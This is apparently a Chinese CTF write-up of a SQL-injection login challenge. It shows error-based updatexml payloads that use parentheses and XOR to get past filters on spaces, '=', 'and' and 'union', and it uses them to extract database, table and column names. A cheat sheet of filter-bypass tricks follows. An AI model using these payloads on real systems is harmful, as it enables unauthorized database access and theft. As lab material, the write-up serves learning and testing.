打开题目
输入1或者1",页面均回显NO,Wrong username password!!!
那我们输入1'
试试万能密码
1' or 1=1 #
输入1' and 1=2 #
输入1' union select 1,2,3 #
输入1' ununionion seselectlect 1,2,3 #
输入1' #
输入1'=#
页面依旧回显
说明页面过滤了=号,空格,union,就连双写绕过都不行
尝试了一下,发现and也被过滤了
我们就可以试试报错注入
我们先尝试updatexml函数
updatexml函数报错的原理是:
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错
因为我们在上面的尝试中发现and,union,空格是被过滤的
注释符我们还是用#吧,用%23会报错
爆破数据库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
或者1'^(updatexml(1,concat(0x7e,database(),0x7e),1))#
得到数据库名为geek
因为题目过滤了空格,我们用括号实现绕过
爆破表名
1'^(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
或
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
得到表名为H4rDsq1
爆破列名
1'^(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
然后我们得到了
它说我们的子查询要返回1行以上
那我们就更改一下代码
1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
成功得到所有列名
爆破数据
知识点:
- 什么是xor(异或)用法,和or(或)用法有什么区别?
①or是或运算,A or B的结果:当A、B中只要有一个或者两个都为1时,结果为1,否则为0;
即,有一个真即为真
②xor是异或运算,A xor B的结果:当A、B两个不同时结果为1,否则为0。
即,相同为假,不同为真
- 在mysql中异或运算符的简介
mysql里异或运算符:^
或者**xor
;**
- sql注入中绕过一些常见的特殊符号
1.绕过空格
注释符/**/绕过
非断开空格%a0(非断开空格是一种特殊的空格字符,与常规空格不同,它在文本中不会引起换行或断开。在URL编码中,非断开空格通常被表示为 %a0
。)
括号绕过空格(如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。任何可以计算出结果的语句,都可以用括号包围起来。而括号两端,可以没有多余的空格)
例如:select(table_name)from(information_schema.tables)where(table_schema)='数据库名'
双写绕过空格
%20绕过空格
2.绕过引号
引号以及引号内容全部转换为16进制
3.逗号绕过
用from或者offset绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to
的方式来解决:
对于limit
可以使用offset
来绕过:
4.等号绕过
用like即可绕过
5.比较符<>绕过
使用greatest()绕过(返回最大值)
使用least()绕过(返回最小值)
6.绕过注释符号(如#,-- -)
原理是闭合后面的引号进行绕过
7.关键字绕过